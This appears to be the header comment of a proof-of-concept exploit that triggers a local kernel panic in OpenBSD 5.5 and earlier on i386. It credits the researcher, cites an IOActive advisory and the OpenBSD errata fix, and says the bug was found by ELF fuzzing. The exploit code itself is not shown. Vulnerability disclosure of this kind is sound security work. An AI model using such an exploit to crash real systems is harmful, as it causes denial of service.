 * OpenBSD <= 5.5 Local Kernel Panic
 * by Alejandro Hernandez (@nitr0usmx)
 *
 * Advisory and technical details:
 * http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
 *
 * Fix: http://www.openbsd.org/errata55.html#013_kernexec
 *
 * This PoC works only for i386.
 * 
 * Bug found with Melkor (ELF file format fuzzer)
